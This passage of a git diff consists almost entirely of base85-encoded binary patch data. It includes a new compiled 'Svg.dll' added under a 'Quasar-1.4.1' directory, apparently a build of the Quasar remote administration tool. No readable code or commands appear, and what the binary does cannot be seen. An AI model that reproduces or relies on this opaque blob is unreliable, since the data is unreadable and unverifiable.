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 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/svg2png_tool/out/Svg.dll b/Quasar-1.4.1/svg2png_tool/out/Svg.dll new file mode 100755 index 0000000000000000000000000000000000000000..5bfdde36953d62bec3301c6ab7ddd92189301fb7 GIT binary patch literal 694272 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 